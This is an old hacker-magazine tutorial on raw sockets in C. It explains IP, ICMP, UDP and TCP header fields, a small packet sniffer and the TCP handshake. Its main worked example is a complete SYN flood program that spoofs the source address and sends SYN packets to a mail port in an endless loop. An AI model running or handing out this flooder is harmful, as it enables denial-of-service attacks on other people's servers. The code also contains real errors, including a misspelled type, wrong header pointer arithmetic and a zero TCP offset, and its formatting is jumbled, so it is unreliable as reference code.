A brief programming tutorial in C for raw sockets
==

Written by Mixter for the BlackCode Magazine

In this tutorial, you'll learn the basics of using raw sockets in C, to insert any IP protocol based datagram into the network traffic. This is useful, for example, to build raw socket scanners like nmap, to spoof or to perform operations that need to send out raw sockets. Basically, you can send any packet at any time, whereas using the interface functions for your systems IP-stack (connect, write, bind, etc.) you have no direct control over the packets. This theoretically enables you to simulate the behavior of your OS's IP stack, and also to send stateless traffic (datagrams that don't belong to a valid connection). For this tutorial, all you need is a minimal knowledge of socket programming in C (see http://www.ecst.csuchico.edu/~beej/guide/net/).

I. Raw sockets

The basic concept of low level sockets is to send a single packet at one time, with all the protocol headers filled in by the program (instead of the kernel). Unix provides two kinds of sockets that permit direct access to the network. One is SOCK_PACKET, which receives and sends data on the device link layer. This means, the NIC specific header is included in the data that will be written or read. For most networks, this is the ethernet header. Of course, all subsequent protocol headers will also be included in the data. The socket type we'll be using, however, is SOCK_RAW, which includes the IP headers and all subsequent protocol headers and data.

The (simplified) link layer model looks like this:
Physical layer -> Device layer (Ethernet protocol) -> Network layer (IP) ->
Transport layer (TCP, UDP, ICMP) -> Session layer (application specific data)

Now to some practical stuff. A standard command to create a datagram socket is:
socket (PF_INET, SOCK_RAW, IPPROTO_UDP);
From the moment that it is created, you can send any IP packets over it, and receive any IP packets that the host received after that socket was created if you read() from it. Note that even though the socket is an interface to the IP header, it is transport layer specific. That means, for listening to TCP, UDP and ICMP traffic, you have to create 3 separate raw sockets, using IPPROTO_TCP, IPPROTO_UDP and IPPROTO_ICMP (the protocol numbers are 0 or 6 for tcp, 17 for udp and 1 for icmp).

With this knowledge, we can, for example, already create a small sniffer, that dumps out the contents of all tcp packets we receive. (Headers, etc. are missing, this is just an example. As you see, we are skipping the IP and TCP headers which are contained in the packet, and print out the payload, the data of the session/application layer, only).

```
int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
char buffer[8192]; /* single packets are usually not bigger than 8192 bytes */
while (read (fd, buffer, 8192) > 0)
 printf ("Caught tcp packet: %s\n",
  buffer+sizeof(struct iphdr)+sizeof(struct tcphdr));
```

II. The protocols IP, ICMP, TCP and UDP

To inject your own packets, all you need to know is the structures of the protocols that need to be included. Below you will find a short introduction to the IP, ICMP, TCP and UDP headers. It is recommended to build your packet by using a struct, so you can comfortably fill in the packet headers. Unix systems provide standard structures in the header files (eg. <netinet/ip.h>). You can always create your own structs, as long as the length of each option is correct. To help you create portable programs, we'll use the BSD names in our structures. We'll also use the little endian notation. On big endian machines (some other processor architectures than intel x86), the 4 bit-size variables exchange places. However, one can always use the structures in the same ways in this program. Below each header structure is a short explanation of its members, so that you know what values should be filled in and which meaning they have.

The data types/sizes we need to use are: unsigned char - 1 byte (8 bits), unsigned short int - 2 bytes (16 bits) and unsigned int - 4 bytes (32 bits)

```
struct ipheader {
 unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
 unsigned char ip_tos;
 unsigned short int ip_len;
 unsigned short int ip_id;
 unsigned short int ip_off;
 unsigned char ip_ttl;
 unsigned char ip_p;
 unsigned short int ip_sum;
 unsigned int ip_src;
 unsinged int ip_dst;
}; /* total ip header length: 20 bytes (=160 bits) */
```

The Internet Protocol is the network layer protocol, used for routing the data from the source to its destination. Every datagram contains an IP header followed by a transport layer protocol such as tcp.

```
ip_hl: the ip header length in 32bit octets. this means a value of 5
 for the hl means 20 bytes (5 * 4). values other than 5 only need to
 be set it the ip header contains options (mostly used for routing)
ip_v: the ip version is always 4 (maybe I'll write a IPv6 tutorial later;)
ip_tos: type of service controls the priority of the packet. 0x00 is
```

normal. the first 3 bits stand for routing priority, the next 4 bits
for the type of service (delay, throughput, reliability and cost).
ip_len: total length must contain the total length of the ip datagram.
this includes ip header, icmp or tcp or udp header and payload size in bytes.
ip_id: the id sequence number is mainly used for reassembly of fragmented IP
datagrams. when sending single datagrams, each can have an arbitrary ID.
ip_off: the fragment offset is used for reassembly of fragmented datagrams.
the first 3 bits are the fragment flags, the first one always 0, the second
the do-not-fragment bit (set by ip_off |= 0x4000) and the third the more-flag
or more-fragments-following bit (ip_off |= 0x2000). the following 13 bits is
the fragment offset, containing the number of 8-byte big packets already sent.
ip_ttl: time to live is the amount of hops (routers to pass) before the packet
is discarded, and an icmp error message is returned. the maximum is 255.
ip_p: the transport layer protocol. can be tcp (6), udp(17), icmp(1), or
whatever protocol follows the ip header. look in /etc/protocols for more.
ip_sum: the datagram checksum for the whole ip datagram. every time anything
in the datagram changes, it needs to be recalculated, or the packet will
be discarded by the next router. see V. for a checksum function.
ip_src and ip_dst: source and destination IP address, converted to long
format, e.g. by inet_addr(). both can be chosen arbitrarily.

IP itself has no mechanism for establishing and maintaining a connection, or
even containing data as a direct payload. Internet Control Messaging Protocol
is merely an addition to IP to carry error, routing and control messages and
data, and is often considered as a protocol of the network layer.

```
struct icmpheader {
 unsigned char icmp_type;
 unsigned char icmp_code;
 unsigned short int icmp_cksum;
 /* The following data structures are ICMP type specific */
 unsigned short int icmp_id;
 unsigned short int icmp_seq;
}; /* total icmp header length: 8 bytes (=64 bits) */
```

icmp_type: the message type, for example 0 - echo reply, 8 - echo request, 3 -
destination unreachable. look in <netinet/ip_icmp.h> for all the types.
icmp_code: this is significant when sending an error message (unreach), and
specifies the kind of error. again, consult the include file for more.
icmp_cksum: the checksum for the icmp header + data. same as the IP checksum.
Note: The next 32 bits in an icmp packet can be used in many different ways.
This depends on the icmp type and code. the most commonly seen structure, an
ID and sequence number, is used in echo requests and replies, hence we only
use this one, but keep in mind that the header is actually more complex.
icmp_id: used in echo request/reply messages, to identify the request
icmp_seq: identifies the sequence of echo messages, if more than one is sent.

The User Datagram Protocol is a transport protocol for sessions that need to
exchange data. Both transport protocols, UDP and TCP provide 65535 different
source and destination ports. The destination port is used to connect to
a specific service on that port. Unlike TCP, UDP is not reliable, since it
doesn't use sequence numbers and stateful connections. This means UDP
datagrams can be spoofed, and might not be reliable (e.g. they can be lost
unnoticed), since they are not acknowledged using replies and sequence numbers.

```
struct udpheader {
 unsigned short int uh_sport;
 unsigned short int uh_dport;
 unsigned short int uh_len;
 unsigned short int uh_check;
}; /* total udp header length: 8 bytes (=64 bits) */
```

uh_sport: The source port that a client bind()s to, and the contacted server
will reply back to in order to direct his responses to the client.
uh_dport: The destination port that a specific server can be contacted on.
uh_len: The length of udp header and payload data in bytes.
uh_check: The checksum of header and data, see IP checksum.

The Transmission Control Protocol is the mostly used transport protocol
that provides mechanisms to establish a reliable connection with some basic
authentication, using connection states and sequence numbers. (See IV.)

```
struct tcpheader {
 unsigned short int th_sport;
 unsigned short int th_dport;
 unsigned int th_seq;
 unsigned int th_ack;
 unsigned char th_x2:4, th_off:4;
 unsigned char th_flags;
 unsigned short int th_win;
 unsigned short int th_sum;
 unsigned short int th_urp;
}; /* total tcp header length: 20 bytes (=160 bits) */
```

th_sport: The source port, which has the same function as in UDP.
th_dport: The destination port, which has the same function as in UDP.
th_seq: The sequence number is used to enumerate the TCP segments. The data
in a TCP connection can be contained in any amount of segments (=single tcp
datagrams), which will be put in order and acknowledged. For example, if you
send 3 segments, each containing 32 bytes of data, the first sequence would be
(N+)1, the second one (N+)33 and the third one (N+)65. "N+" because the
initial sequence is random.
th_ack: Every packet that is sent and a valid part of a connection is
acknowledged with an empty TCP segment with the ACK flag set (see
below), and the th_ack field containing the previous the_seq number.
th_x2: This is unused and contains binary zeroes.
th_off: The segment offset specifies the length of the TCP header in
32bit/4byte blocks. Without tcp header options, the value is 5.
th_flags: This field consists of six binary flags. Using bsd headers, they

```
   can be combined like this: th_flags = FLAG1 | FLAG2 | FLAG3...
    TH_URG: Urgent. Segment will be routed faster, used for termination
     of a connection or to stop processes (using telnet protocol).
    TH_ACK: Acknowledgement. Used to acknowledge data and in the second
     and third stage of a TCP connection initiation (see IV.).
    TH_PSH: Push. The systems IP stack will not buffer the segment and
     forward it to the application immediately (mostly used with telnet).
    TH_RST: Reset. Tells the peer that the connection has been terminated.
    TH_SYN: Synchronization. A segment with the SYN flag set indicates that
     client wants to initiate a new connection to the destination port.
    TH_FIN: Final. The connection should be closed, the peer is supposed to
     answer with one last segment with the FIN flag set as well.
  th_win: Window. The amount of bytes that can be sent before the data should
     be acknowledged with an ACK before sending more segments.
  th_sum: The checksum of pseudo header, tcp header and payload. The pseudo
     is a structure containing IP source and destination address, 1 byte set
     to zero, the protocol (1 byte with a decimal value of 6), and 2 bytes
     (unsigned short) containing the total length of the tcp segment.
  th_urp: Urgent pointer. Only used if the urgent flag is set, else zero. It
     points to the end of the payload data that should be sent with priority.


  III. Building and injecting datagrams

  Now, by putting together the knowledge about the protocol header structures
  with some basic C functions, it is easy to construct and send any datagram(s).
  We will demonstrate this with a small sample program that constantly sends
  out SYN requests to one host (Syn flooder).

  #define __USE_BSD       /* use bsd'ish ip header */
  #include <sys/socket.h> /* these headers are for a Linux system, but */
  #include <netinet/in.h> /* the names on other systems are easy to guess.. */
  #include <netinet/ip.h>
  #define __FAVOR_BSD     /* use bsd'ish tcp header */
  #include <netinet/tcp.h>
  #include <unistd.h>

  #define P 25            /* lets flood the sendmail port */

  unsigned short          /* this function generates header checksums */
  csum (unsigned short *buf, int nwords)
  {
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
      sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
  }

  int
  main (void)
  {
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);      /* open raw socket */
    char datagram[4096];  /* this buffer will contain ip header, tcp header,
                             and payload. we'll point an ip header structure
                             at its beginning, and a tcp header structure after
                             that to write the header values into it */
    struct ip *iph = (struct ip *) datagram;
    struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
    struct sockaddr_in sin;
                          /* the sockaddr_in containing the dest. address is used
                             in sendto() to determine the datagrams path */

    sin.sin_family = AF_INET;
    sin.sin_port = htons (P);/* you byte-order >1byte header values to network
                                byte order (not needed on big endian machines) */
    sin.sin_addr.s_addr = inet_addr ("127.0.0.1");

    memset (datagram, 0, 4096);   /* zero out the buffer */

  /* we'll now fill in the ip/tcp header values, see above for explanations */
    iph->ip_hl = 5;
    iph->ip_v = 4;
    iph->ip_tos = 0;
    iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);    /* no payload */
    iph->ip_id = htonl (54321);   /* the value doesn't matter here */
    iph->ip_off = 0;
    iph->ip_ttl = 255;
    iph->ip_p = 6;
    iph->ip_sum = 0;              /* set it to 0 before computing the actual checksum later */
    iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */
    iph->ip_dst.s_addr = sin.sin_addr.s_addr;
    tcph->th_sport = htons (1234);        /* arbitrary port */
    tcph->th_dport = htons (P);
    tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
    tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
    tcph->th_x2 = 0;
    tcph->th_off = 0;             /* first and only tcp segment */
    tcph->th_flags = TH_SYN;      /* initial connection request */
    tcph->th_win = htonl (65535); /* maximum allowed window size */
    tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
                        should fill in the correct checksum during transmission */
    tcph->th_urp = 0;

    iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

  /* finally, it is very advisable to do a IP_HDRINCL call, to make sure
     that the kernel knows the header is included in the data, and doesn't
     insert its own header into the packet before our data */

    {                             /* lets do it the ugly way.. */
      int one = 1;
      const int *val = &one;
      if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
        printf ("Warning: Cannot set HDRINCL!\n");
    }

    while (1)
      {
        if (sendto (s,            /* our socket */
                    datagram,     /* the buffer containing headers and data */
                    iph->ip_len,  /* total length of our datagram */
                    0,            /* routing flags, normally always 0 */
                    (struct sockaddr *) &sin,     /* socket addr, just like in */
                    sizeof (sin)) < 0)            /* a normal send() */
          printf ("error\n");
        else
          printf (".");
      }

    return 0;
  }
```

IV. Basic transport layer operations

To make use of raw packets, knowledge of the basic IP stack operations is essential. I'll try to give a brief introduction into the most important operations in the IP stack. To learn more about the behavior of the protocols, one option is to exame the source for your systems IP stack, which, in Linux, is located in the directory /usr/src/linux/net/ipv4/. The most important protocol, of course, is TCP, on which I will focus on.

Connection initiation: to contact an udp or tcp server listening on port 1234, the client calls a connect() with the sockaddr structure containing destination address and port. If the client did not bind() to a source port, the systems IP stack will select one it'll bind to. By connect()ing, the host sends a datagram containing the following information:
IP src: client address, IP dest: servers address, TCP/UDP src: clients source port, TCP/UDP dest: port 1234. If a client is located on port 1234 on the destination host, it will reply back with a datagram containing:
IP src: server IP dst: client srcport: server port dstport: clients source port
If there is no server located on the host, an ICMP type unreach message is created, subcode "Connection refused". The client will then terminate. If the destination host is down, either a router will create a different ICMP unreach message, or the client gets no reply and the connection times out.

TCP initiation ("3-way handshake") and connection: The client will do a connection initiation, with the tcp SYN flag set, an arbitrary sequence number, and no acknowledgement number. The server acknowledges the SYN by sending a packet with SYN and ACK set, another random sequence number and the acknowledgement number the original sequence. Finally, the client replies back with a tcp datagram with the ACK flag set, and the server's ack sequence incremented by one. Once the connection is established, each tcp segment will be sent with no flags (PSH and URG are optional), the sequence number for each packet incremented by the size of the previous tcp segment. After the amount of data specified as "window size" has been transferred, the peer sending data will wait for an acknowledgement, a tcp segment with the ACK flag set and the ack sequence number the one of the last data packet that could be received in order. That way, if any segments get lost, they will not be acknowledged and can be retransmitted. To end a connection, both server and client send a tcp packet with correct sequence numbers and the FIN flag set, and if the connection ever de-synchronizes (aborted, desynchronized, bad sequence numbers, etc.) the peer that notices the error will send a RST packet with correct seq numbers to terminate the connection.

- Mixter <mixter@newyorkoffice.com>